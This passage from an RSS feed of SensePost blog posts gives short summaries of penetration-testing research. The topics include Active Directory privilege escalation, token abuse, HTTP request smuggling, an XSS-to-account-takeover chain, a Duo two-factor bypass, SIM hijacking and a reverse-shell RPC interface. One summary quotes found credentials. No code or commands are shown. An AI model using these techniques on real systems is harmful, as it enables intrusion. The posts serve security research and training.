a website using BlazorPack. As Microsoft describes it: &amp;#8220;Today&amp;#8217;s modern apps are expected to deliver up-to-date information without hitting a refresh button. Add real-time functionality to your dashboards, maps, games and more.&amp;#8221;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Jumping into SOCKS</title>
				<link>https://sensepost.com/blog/2023/jumping-into-socks/</link>
				<pubDate>Tue, 24 Jan 2023 10:59:07 +0000</pubDate>
				<guid>https://sensepost.com/blog/2023/jumping-into-socks/</guid>
				<description>&lt;p&gt;On a recent internal assessment, we ran into a problem. While holding low-privileged access to an internal Windows host, we realised the software on the host was communicating to a remote API endpoint over HTTPS. However, the remote endpoint was enforcing authentication using client SSL certificates.&lt;/p&gt;&#xA;&lt;p&gt;Normally, the above scenario is easily fixed by exporting the local client SSL certificate from the host and importing it into either Burp Suite or Postman. In Burp Suite, when you want to use a client SSL certificate, you must manually load the certificate and private key into it. This implies (on Windows, at least) that you&amp;#8217;ll need to export the client SSL certificate. However, this is only possible if you hold appropriate permissions to the certificate and its private key and it allows exporting. &lt;/p&gt;</description>
			</item>
			<item>
				<title>CertPotato – Using ADCS to privesc from virtual and network service accounts to local system</title>
				<link>https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/</link>
				<pubDate>Fri, 04 Nov 2022 13:27:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/</guid>
				<description>&lt;p&gt;The goal of this blog post is to present a privilege escalation I found while working on ADCS. We will see how it is possible to elevate our privileges to NT AUTHORITY\SYSTEM from virtual and network service accounts of a domain-joined machine (for example from a webshell on a Windows server) using ADCS. I want to call this attack chain &amp;#8220;CertPotato&amp;#8221; as homage to other *Potato tools and as a way to better remember it.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Abusing Windows’ tokens to compromise Active Directory without touching LSASS</title>
				<link>https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/</link>
				<pubDate>Thu, 27 Oct 2022 16:48:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/</guid>
				<description>&lt;p&gt;During an internal assessment, I performed an NTLM relay and ended up owning the NT AUTHORITY\SYSTEM account of the Windows server. Looking at the users connected on the same server, I knew that a domain administrator account was connected. All I had to do to compromise the domain, was compromise the account. This could be achieved by dumping the memory of the LSASS process and collecting their credentials or Kerberos TGT&amp;#8217;s. Seemed easy until I realised an EDR was installed on the system. Long story short, I ended up compromising the domain admin account without touching the LSASS process. To do so, I relied on an internal Windows mechanism called token manipulation.&lt;/p&gt;</description>
			</item>
			<item>
				<title>WireSocks for Easy Proxied Routing</title>
				<link>https://sensepost.com/blog/2022/wiresocks-for-easy-proxied-routing/</link>
				<pubDate>Fri, 30 Sep 2022 04:48:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2022/wiresocks-for-easy-proxied-routing/</guid>
				<description>&lt;p&gt;I built some infrastructure that you could deploy and use to easily tunnel from arbitrary sources over a proxy such as SOCKS, using anything that can run WireGuard. This is convenient in cases where it would be nicer to have a full network route to a target network (with working DNS) vs just having application specific proxy rules. In this post I&amp;#8217;ll elaborate a bit on that idea. If you are just looking for the code you can find it here: &lt;a href=&#34;https://github.com/sensepost/wiresocks&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;https://github.com/sensepost/wiresocks&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>sensecon 2022 – wait a minute, you got legs? edition</title>
				<link>https://sensepost.com/blog/2022/sensecon-2022-wait-a-minute-you-got-legs-edition/</link>
				<pubDate>Wed, 03 Aug 2022 13:27:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2022/sensecon-2022-wait-a-minute-you-got-legs-edition/</guid>
				<description>&lt;p&gt;In a world of returning back to, well, &amp;#8220;normal&amp;#8221; it meant that we could finally have our annual internal hackathon as Orange Cyberdefense in person! And that is exactly what SenseCon 2022 was. An internal, global ethical hacker conference spread across six regions. In this post we&amp;#8217;ll talk about exactly that, the challenges as well as the projects people worked on.&lt;/p&gt;&#xA;&lt;p&gt;As a bonus, we have one of the challenges, BuzzWord, available for you to play via our Discord server, today! Just join using &lt;a href=&#34;https://discord.gg/yhfPKyBGbp&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;this&lt;/a&gt; link, and check out the instructions in the &lt;code&gt;#buzzword-instructions&lt;/code&gt; channel.&lt;/p&gt;</description>
			</item>
			<item>
				<title>me vs request smugglingPOST</title>
				<link>https://sensepost.com/blog/2022/me-vs-request-smugglingpost/</link>
				<pubDate>Tue, 19 Jul 2022 08:35:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2022/me-vs-request-smugglingpost/</guid>
				<description>&lt;p&gt;I&amp;#8217;ve come to realise that I wasn&amp;#8217;t the only one that has never actually exploited an &lt;a href=&#34;https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;HTTP Request Smuggling&lt;/a&gt; vulnerability, three years after &lt;a href=&#34;https://twitter.com/albinowax&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;James Kettle&lt;/a&gt; reminded the world of it. Like many, I&amp;#8217;ve seen the buzz, read it all, thought I understood it, but honestly, I didn&amp;#8217;t. While the potential impact sounds great from an attacker perspective, I&amp;#8217;ve been mostly confused by a lot of it. That was until the &lt;a href=&#34;https://www.hackthebox.com/events/htb-business-ctf-2022&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;2022 HackTheBox Business CTF &lt;/a&gt;challenge called PhishTale in the web category came around. Focussing less on the overall solving of the challenge and more on the request smuggling, in this post I&amp;#8217;ll tell you about my journey of how I finally got to exploit an HTTP desync attack (specifically HTTP2 request smuggling).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sail away, sail away, sail away</title>
				<link>https://sensepost.com/blog/2022/sail-away-sail-away-sail-away/</link>
				<pubDate>Tue, 31 May 2022 18:09:14 +0000</pubDate>
				<guid>https://sensepost.com/blog/2022/sail-away-sail-away-sail-away/</guid>
				<description>&lt;figure &gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2022/sail-away-sail-away-sail-away/bf35e7e6d4d23eff4965c3c0053a11ed.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;246&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2022/sail-away-sail-away-sail-away/69ba0de8f95b1350afa2e9cd152a1dd6.jpg&#34; width=&#34;1024&#34; /&gt;&lt;/a&gt;&lt;/figure&gt;&#xA;&lt;p&gt;A while back, after some live music and drinks at Railways, I made my way to another city for pleasant weather, some dubious food, the ever-wakeful seagulls, and ultimately &amp;#8211; an assessment.&lt;/p&gt;&#xA;&lt;p&gt;After playing around for a few days, Jason and I had obtained access to a system which contained cleartext credentials, namely  &lt;strong&gt;ihsadmin:ihsadmin&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Using these credentials,  we were also able to SSH into a management server of sorts. While this was great, there were still several other servers in-scope that we had no access to. After scanning the network for a bit, I found out that a couple of these servers ran HTTP services on port 80, 8008 and 9080.&lt;/p&gt;</description>
			</item>
			<item>
				<title>using a cloud mac with a local ios device</title>
				<link>https://sensepost.com/blog/2022/using-a-cloud-mac-with-a-local-ios-device/</link>
				<pubDate>Sat, 28 May 2022 16:34:37 +0000</pubDate>
				<guid>https://sensepost.com/blog/2022/using-a-cloud-mac-with-a-local-ios-device/</guid>
				<description>&lt;p&gt;Doing iOS mobile assessments without macOS around is not exactly fun. This can be for many reasons that include code signing and app deployment to name a few. Alternatives exist for some of these tasks (like the amazing &lt;a href=&#34;https://libimobiledevice.org/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;libimobiledevice&lt;/a&gt; project or more recently an attempt to get &lt;a href=&#34;https://twitter.com/indygreg/status/1372290318305927169&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;code signing to work without macOS&lt;/a&gt;), but nothing beats using a real macOS device for most of those tasks. Be it to patch mobile apps with a Frida gadget, or to deploy an application from Xcode, whatever your reason for needing this, in this short post I&amp;#8217;ll show you how to use &lt;a href=&#34;https://twitter.com/corelliumhq&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;@CorelliumHQ&lt;/a&gt;&amp;#8216;s &lt;a href=&#34;https://github.com/corellium/usbfluxd&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;usbfluxd&lt;/a&gt; project or a simple SSH tunnel to make a locally connected iOS device (eg. your Linux laptop) available to a remote macOS device such that you could expose it to Xcode, in the cloud.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Constrained Delegation Considerations for Lateral Movement</title>
				<link>https://sensepost.com/blog/2022/constrained-delegation-considerations-for-lateral-movement/</link>
				<pubDate>Wed, 18 May 2022 06:35:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2022/constrained-delegation-considerations-for-lateral-movement/</guid>
				<description>&lt;p&gt;The abuse of constrained delegation configuration, whereby a compromised domain user or computer account configured with constrained delegation can be leveraged to impersonate domain users to preconfigured trusted services, is a common attack path in Active Directory. For each trusted service, a unique service ticket is used, that explicitly corresponds to the service type for which it was requested. For example, to access Windows file shares,  a &lt;code&gt;CIFS&lt;/code&gt; ticket is required. Meanwhile, to leverage the WinRM protocol, a &lt;code&gt;HTTP&lt;/code&gt; service ticket is required instead. Compromise of such service tickets aids in lateral movement and further compromise.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Left To My Own Devices – Fast NTCracking in Rust</title>
				<link>https://sensepost.com/blog/2022/left-to-my-own-devices-fast-ntcracking-in-rust/</link>
				<pubDate>Wed, 16 Feb 2022 12:33:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2022/left-to-my-own-devices-fast-ntcracking-in-rust/</guid>
				<description>&lt;p&gt;When I got a new MacBook with an M1 Pro chip, I was excited to see the performance benefits. The first thing I did was to fire up hashcat which gave an impressive benchmark speed for NT hashes (mode 1000) of around 9 GH/s, a solid doubling of the benchmark speed of my old Intel MacBook Pro. But, when it came to actually cracking things, the speed dropped off considerably. Instead of figuring out why, I decided to try my hand at writing my own NT hash cracker, because I’m kind of addicted to writing single use tooling in rust then taking time to perf optimise it.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SIM Hijacking</title>
				<link>https://sensepost.com/blog/2022/sim-hijacking/</link>
				<pubDate>Mon, 07 Feb 2022 12:29:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2022/sim-hijacking/</guid>
				<description>&lt;h1 &gt;Introduction&lt;/h1&gt;&#xA;&lt;p&gt;&amp;#8220;&lt;em&gt;533 million Facebook users’ phone numbers leaked&lt;/em&gt;&amp;#8221; was one of the highlighted titles that flooded many social networks&amp;#8217; pages. The leak that was initially for sale in 2020 has more recently been released for free on a hacker forum containing mobile numbers, and a bunch of other related information. This news gave birth to websites like &lt;a href=&#34;https://haveibeenzucked.com&#34;&gt;https://haveibeenzucked.com&lt;/a&gt;, where you could check if the Facebook data leak contained your data. (&lt;a href=&#34;https://haveibeenpwned.com&#34;&gt;https://haveibeenpwned.com&lt;/a&gt; allows you to check it now as well). &lt;/p&gt;</description>
			</item>
			<item>
				<title>Android Application Testing Using Windows 11 and Windows Subsystem for Android</title>
				<link>https://sensepost.com/blog/2021/android-application-testing-using-windows-11-and-windows-subsystem-for-android/</link>
				<pubDate>Tue, 16 Nov 2021 09:10:15 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/android-application-testing-using-windows-11-and-windows-subsystem-for-android/</guid>
				<description>&lt;p &gt;With the release of windows 11, Microsoft announced the &lt;strong&gt;&lt;a href=&#34;https://docs.microsoft.com/en-us/windows/android/wsa/&#34;&gt;Windows Subsystem for Android&lt;/a&gt; &lt;/strong&gt;or WSA. This following their previous release, &lt;strong&gt;&lt;a href=&#34;https://docs.microsoft.com/en-us/windows/wsl/install&#34;&gt;Windows Subsystem for Linux&lt;/a&gt;&lt;/strong&gt; or WSL. These enable you to run a virtual Linux or Android environment directly on your Windows Operating System, without the prerequisite compatibility layer provided by third-party software. In this post I&amp;#8217;ll show you how to use WSA for Android mobile application pentesting, such that you can perform all of the usual steps using only Windows, with no physical Android device or emulator needed.&lt;/p&gt;</description>
			</item>
			<item>
				<title>sensecon 2021 – wargames edition</title>
				<link>https://sensepost.com/blog/2021/sensecon-2021-wargames-edition/</link>
				<pubDate>Tue, 28 Sep 2021 13:14:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/sensecon-2021-wargames-edition/</guid>
				<description>&lt;p&gt;If &lt;a href=&#34;https://sensepost.com/blog/2020/sensecon-2020-ex-post-facto/&#34;&gt;last year&lt;/a&gt; taught us anything, it was that we can move quickly to organise a fully online hacker conference in little over a month. This year our annual, internal hacker conference ran from the 16th to the 18th of September, was attended by 102 hackers from 9 countries across 2 timezones, and was once again filled with epic hacks and laughs! In this post I&amp;#8217;ll tell you more about the run up and execution of our internal SenseCon 2021! Some of this year&amp;#8217;s challenges are available to play for a limited time on our Orange Cyberdefense Hacker Discord server as well. You can join using this link: &lt;a href=&#34;https://discord.gg/yhfPKyBGbp&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;https://discord.gg/yhfPKyBGbp&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Building an offensive RPC interface</title>
				<link>https://sensepost.com/blog/2021/building-an-offensive-rpc-interface/</link>
				<pubDate>Tue, 03 Aug 2021 17:50:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/building-an-offensive-rpc-interface/</guid>
				<description>&lt;p&gt;Using the Windows Remote Procedure Call (RPC) interface is an interesting concept when conssidering the fact that it allows you to call functions, over the network in a remote process. I wanted to better understand how RPC worked, and decided to build my own RPC interface to help with that. As a result, I wrote an RPC interface that will spawn a reverse shell given an IP address and a port. In this post I&amp;#8217;ll show you how to do just that and what I learnt in a few sections:&lt;/p&gt;</description>
			</item>
			<item>
				<title>blackhat_defcon_virtual_vegas_2021.zip</title>
				<link>https://sensepost.com/blog/2021/blackhat_defcon_virtual_vegas_2021.zip/</link>
				<pubDate>Sat, 31 Jul 2021 18:39:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/blackhat_defcon_virtual_vegas_2021.zip/</guid>
				<description>&lt;p&gt;Phew! This year&amp;#8217;s hacker summer camp is &lt;strong&gt;packed&lt;/strong&gt; with presentations from several hackers across the globe at Orange Cyberdefense. I can&amp;#8217;t possibly go into all of the many details, but hope to give a somewhat compressed view of the highlights!&lt;/p&gt;&#xA;&lt;p&gt;This year we have a total of 10 representations. Four of those are DEF CON 29 talks, where two are main stage talks, one a demo labs talk and one a radio frequency village talk. On the training side of things, we&amp;#8217;re delivering five courses at BlackHat USA 21, and one course at Ringzer0. I&amp;#8217;ve been fortunate enough to see the behind the scenes preparation that goes into these and can&amp;#8217;t wait for the world to see and experience them too!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Come do Wi-Fi!</title>
				<link>https://sensepost.com/blog/2021/come-do-wi-fi/</link>
				<pubDate>Mon, 19 Jul 2021 08:42:08 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/come-do-wi-fi/</guid>
				<description>&lt;p&gt;Wi-Fi is everywhere and having a better understanding of it can fair you well! Over the years we have made various tools such as &lt;a href=&#34;https://github.com/sensepost/hostapd-mana&#34;&gt;hostapd-mana&lt;/a&gt; to enable attacks against Wi-Fi, and then tools such as &lt;a href=&#34;https://github.com/sensepost/berate_ap&#34;&gt;berate_ap&lt;/a&gt; for those people who don&amp;#8217;t want to, or have to, learn how to use hostapd-mana. &lt;/p&gt;&#xA;&lt;p&gt;In our Unplugged: Modern Wi-Fi Hacking course you will be forced to shun the convenience of automated tools such as berate_ap and get dirty with setting up Access Points and Client configurations in a terminal window to ensure you have a good understanding of what is happening under the hood. &lt;/p&gt;</description>
			</item>
			<item>
				<title>Exploring The Fundamentals</title>
				<link>https://sensepost.com/blog/2021/exploring-the-fundamentals/</link>
				<pubDate>Sun, 18 Jul 2021 18:59:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/exploring-the-fundamentals/</guid>
				<description>&lt;p&gt;We are excited to be presenting our Hands-on-Hacking Fundamentals (HHF) course at this year&amp;#8217;s BlackHat USA 2021 conference. &lt;/p&gt;&#xA;&lt;p&gt;In our HHF course we explore the fundamentals required to grow your hacking skills where you can utilise your newly learned skills with practical, real world hacks in our custom lab environment. This blog aims to demonstrate the fundamentals of networking and scanning using the defacto &lt;em&gt;Network Mapper&lt;/em&gt; &amp;#8220;&lt;a href=&#34;https://nmap.org/&#34;&gt;Nmap&lt;/a&gt;&amp;#8221; which is one of the many tools utilised in our course.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Our Enterprise Infrastructure Hacking Course</title>
				<link>https://sensepost.com/blog/2021/our-enterprise-infrastructure-hacking-course/</link>
				<pubDate>Sun, 18 Jul 2021 16:23:16 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/our-enterprise-infrastructure-hacking-course/</guid>
				<description>&lt;p&gt;Here at Orange Cyberdefense, clients often ask us to test and help secure their infrastructure. We do this a lot. We test clients, we test ourselves, and we set up labs to test new ideas and tools. We’ve become quite good at this, if we say so ourselves, and would love to share some of the lessons we’ve learned along the way with anyone that would be interested. That’s what our Enterprise Infrastructure Hacking course is all about: it&amp;#8217;s our way of sharing what we&amp;#8217;ve learned with you.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Adventures into HTTP2 and HTTP3</title>
				<link>https://sensepost.com/blog/2021/adventures-into-http2-and-http3/</link>
				<pubDate>Thu, 27 May 2021 08:02:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/adventures-into-http2-and-http3/</guid>
				<description>&lt;p&gt;A few months ago I was exploring the write-ups and video solutions for the retired HackTheBox machine &amp;#8211; Quick. It&amp;#8217;s during this exploration that I came across HTTP/3. For those that are not aware, HTTP/3 is the upcoming third major version of the &lt;a href=&#34;https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol&#34;&gt;Hypertext Transfer Protocol&lt;/a&gt; used to exchange information on the &lt;a href=&#34;https://en.wikipedia.org/wiki/World_Wide_Web&#34;&gt;World Wide Web&lt;/a&gt;, succeeding &lt;a href=&#34;https://en.wikipedia.org/wiki/HTTP/2&#34;&gt;HTTP/2&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now, to be honest, my knowledge of the Hypertext Transfer Protocol (HTTP) has mainly been restricted to the HTTP/1.0 and HTTP/1.1 specifications. In particular, as that is the main specifications of the protocol we (security pentesters) observe in Burp (our intercepting proxy) when assessing web applications. We are familiar and comfortable seeing HTTP GET/POST requests and the myriad of responses that can be received (e.g., 400, 503&amp;#8230;)&lt;/p&gt;</description>
			</item>
			<item>
				<title>From 500 to Account Takeover</title>
				<link>https://sensepost.com/blog/2021/from-500-to-account-takeover/</link>
				<pubDate>Tue, 02 Mar 2021 19:24:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/from-500-to-account-takeover/</guid>
				<description>&lt;h2 &gt;Introduction&lt;/h2&gt;&#xA;&lt;p&gt;What seemed like a regular Cross-site Scripting (XSS) vulnerability on an HTTP 500 &amp;#8220;Internal Server Error&amp;#8221;-page, I managed to turn into a one-click account takeover on an assessment. In this blog post I want to describe the path I took to achieve this leveraging a known Cloudflare WAF bypass and Google analytics to extract session tokens serving as a CSP bypass.&lt;/p&gt;&#xA;&lt;h3 &gt;Reconnaissance&lt;/h3&gt;&#xA;&lt;p&gt;At the beginning of the assessment, it quickly came to my attention that the web application stored the Session ID as part of some kind of error reporting JavaScript function in a &lt;code&gt;message&lt;/code&gt; variable. This function would be executed if &lt;code&gt;window.error&lt;/code&gt; was triggered: &lt;/p&gt;</description>
			</item>
			<item>
				<title>on ios binary protections</title>
				<link>https://sensepost.com/blog/2021/on-ios-binary-protections/</link>
				<pubDate>Tue, 02 Mar 2021 14:22:01 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/on-ios-binary-protections/</guid>
				<description>&lt;p&gt;I just got off a call with a client, and realised we need to think about how we report binary protections a bit more. More specifically the &lt;code&gt;ios info binary&lt;/code&gt; command in &lt;a href=&#34;https://github.com/sensepost/objection&#34;&gt;objection&lt;/a&gt;. They can be a pain to explain if not well understood, and even harder to remediate! Binary protections make exploitation attempts much harder so, naturally we want all of them on. However, as you&amp;#8217;d see in this article, not everything can always be enabled and sometimes it&amp;#8217;s hard to understand why.&lt;/p&gt;</description>
			</item>
			<item>
				<title>dwn – a docker pwn tool manager experiment</title>
				<link>https://sensepost.com/blog/2021/dwn-a-docker-pwn-tool-manager-experiment/</link>
				<pubDate>Mon, 08 Feb 2021 09:42:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/dwn-a-docker-pwn-tool-manager-experiment/</guid>
				<description>&lt;p&gt;Years ago I learnt docker basics because I just couldn&amp;#8217;t get that $ruby_tool to install. The bits of progress I&amp;#8217;d make usually left my host&amp;#8217;s ruby install in shambles. With docker though, I had quick reproducible build &amp;amp; run environments I could clean up easily without leaving a mess behind. The more I used docker, the more I&amp;#8217;ve come to love it, and today it&amp;#8217;s become a natural part of my daily workflow. It&amp;#8217;s not without its flaws though, so in this post I want to show you an experiment of mine where I tried to write a docker pwn tool manager. A &amp;#8220;docker-compose for hackers&amp;#8221; if you will, called &lt;strong&gt;dwn&lt;/strong&gt; (/don/). You can find it here: &lt;a href=&#34;https://github.com/sensepost/dwn&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;https://github.com/sensepost/dwn&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Android Application Specific Proxies, Easy Mode</title>
				<link>https://sensepost.com/blog/2021/android-application-specific-proxies-easy-mode/</link>
				<pubDate>Fri, 29 Jan 2021 11:33:26 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/android-application-specific-proxies-easy-mode/</guid>
				<description>&lt;p&gt;In this post I want to share two things. First, a quick primer on how you would you go about navigating the source code when contributing to &lt;a href=&#34;https://github.com/sensepost/objection&#34;&gt;objection&lt;/a&gt;, and secondly an application specific proxy feature I added to it. &lt;/p&gt;&#xA;&lt;h3 &gt;Introduction&lt;/h3&gt;&#xA;&lt;p&gt;While on holiday I wanted to look into a certain mobile application that dealt with medical information. I was mostly interested in the data that was sent and received by the application so this meant proxying the traffic into Burp. I did not have a test device with me, so I had to use my personal device. This being my personal device meant that once I had the proxy set, certain applications would cease to function normally (especially those with SSL pinning) as Burp was in the middle.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Duo Two-factor Authentication Bypass</title>
				<link>https://sensepost.com/blog/2021/duo-two-factor-authentication-bypass/</link>
				<pubDate>Thu, 28 Jan 2021 08:39:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2021/duo-two-factor-authentication-bypass/</guid>
				<description>&lt;p&gt;It&amp;#8217;s too easy when hacking, to assume something is invulnerable and not interrogate it. This was the case for me when it came to Duo&amp;#8217;s two-factor authentication solution. However, we were able to discover two variants of the same 2FA bypass. These rely on redirecting a victim&amp;#8217;s push notifications to an attacker-controlled device, to authorise access to a victim account. Interactions with Duo had this fixed in record time, and were easily some of the best vendor/researcher interactions we&amp;#8217;ve ever had. If you&amp;#8217;re looking for their technical guidance around this, you can find it &lt;a href=&#34;https://duo.com/labs/psa/duo-psa-2021-001&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>sconwar – sensecon 2020</title>
				<link>https://sensepost.com/blog/2020/sconwar-sensecon-2020/</link>
				<pubDate>Mon, 23 Nov 2020 18:01:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/sconwar-sensecon-2020/</guid>
				<description>&lt;p&gt;Much like other events in 2020, our annual internal hackathon took a remote format this year, sporting over 120 hackers from across the globe. We had many challenges available during the conference which included a password cracking challenge, a discord bot challenge and a programming challenge. This post will talk about the programming challenge called sconwar. You can get the source code for it &lt;a href=&#34;https://github.com/sensepost/sconwar&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 &gt;incubation&lt;/h2&gt;&#xA;&lt;p&gt;Admittedly I was really nervous about the idea for a hacker hackathon in general, but we can only become better hackers by understanding technologies better, more specifically, understanding them by &lt;strong&gt;using&lt;/strong&gt; them. I often hear people say they want to get into programming, for which there are many options, but more often that not the drive ends with &amp;#8220;well, what do I code?&amp;#8221;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>DualSense Reverse Engineering</title>
				<link>https://sensepost.com/blog/2020/dualsense-reverse-engineering/</link>
				<pubDate>Mon, 23 Nov 2020 09:52:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/dualsense-reverse-engineering/</guid>
				<description>&lt;p&gt;Ciao belli!&lt;/p&gt;&#xA;&lt;p&gt;On the 19th of November 2020, &lt;a href=&#34;https://www.sony.com/&#34;&gt;SONY&lt;/a&gt; finally released the new &lt;a href=&#34;https://en.wikipedia.org/wiki/PlayStation_5&#34;&gt;PlayStation 5&lt;/a&gt; in the UK. A few days earlier in the US,  Japan, and Canada. Of course, Play Station 5 came together with a new Wireless Controller, this time named &lt;a href=&#34;https://www.playstation.com/en-us/accessories/dualsense-wireless-controller/&#34;&gt;DualSense&lt;/a&gt;. I wanted to see if I could continue my PlayStation controller adventures on this new device, following on my previous &lt;a href=&#34;https://sensepost.com/blog/2020/dual-pod-shock-emotional-abuse-of-a-dualshock/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;work&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;figure &gt;&lt;img alt=&#34;&#34;  height=&#34;569&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2020/dualsense-reverse-engineering/b4290899b897a89a03983779b5346ef5.jpg&#34; width=&#34;455&#34; /&gt;&lt;/figure&gt;&#xA;&lt;div &gt;&lt;figure &gt;&lt;img alt=&#34;&#34;  height=&#34;1024&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2020/dualsense-reverse-engineering/bc21b7f7cb5002f6e3bd5748f787a325.png&#34; width=&#34;588&#34; /&gt;&lt;figcaption&gt;A few SONY installations available in London for the release of the PlayStation 5.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#xA;&lt;h2 &gt;DualSense Wireless Controller&lt;/h2&gt;&#xA;&lt;p&gt;The DualSense Wireless Controller presents new features such as:&lt;/p&gt;</description>
			</item>
			<item>
				<title>sensecon 2020 ex post facto</title>
				<link>https://sensepost.com/blog/2020/sensecon-2020-ex-post-facto/</link>
				<pubDate>Fri, 13 Nov 2020 16:21:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/sensecon-2020-ex-post-facto/</guid>
				<description>&lt;p&gt;When we finally decided on a date, sensecon 2020 was little over a month away. Unlike our public client events, internally sensecon is a three day conference filled with trainings, a hackathon and a ton of fun. Traditionally we would have had the hackathon in person, but this year our only option was to do it remotely. Overall we had a blast, both in the preparation phase but also during the conference. It was the largest one we had to date, consisting of over 120 Orange Cyberdefense hackers from 8 countries around the globe! This blog post will be a reflection on these three days filled with incredibly exciting hacks, talking about how we got there, how it went and what we had learned along the way. All while I recover from a little sleep deprivation.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Szensecon Discord Bot</title>
				<link>https://sensepost.com/blog/2020/szensecon-discord-bot/</link>
				<pubDate>Mon, 09 Nov 2020 17:47:01 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/szensecon-discord-bot/</guid>
				<description>&lt;p&gt;We have written a lot about &lt;a href=&#34;https://sensepost.com/blog/2020/sensecon-2020-ex-post-facto/&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;SenseCon&lt;/a&gt; by now, but there is one more thing we can talk about! In this post I want to detail the Discord bot and associated challenges that we built. We were going to use Discord as our main communication channel and wanted a way to ensure that it was only accessible to Orange Cyberdefense hackers in an automated way.&lt;/p&gt;&#xA;&lt;figure &gt;&lt;img alt=&#34;That Would Be Great Meme |  YEAH IF WE COULD AUTOMATE IT; THAT WOULD BE GREAT | image tagged in memes,that would be great | made w/ Imgflip meme maker&#34; src=&#34;https://i.imgflip.com/4nbloy.jpg&#34; /&gt;&lt;/figure&gt;&#xA;&lt;p&gt;This was a good opportunity to look into writing a Discord bot. If you are looking for the source code, you can find it &lt;a href=&#34;https://github.com/sensepost/sensecon_bot&#34; rel=&#34;noreferrer noopener&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>thumbscr-ews – a python EWS tool</title>
				<link>https://sensepost.com/blog/2020/thumbscr-ews-a-python-ews-tool/</link>
				<pubDate>Wed, 04 Nov 2020 14:39:55 +0000</pubDate>
				<guid>https://sensepost.com/blog/2020/thumbscr-ews-a-python-ews-tool/</guid>
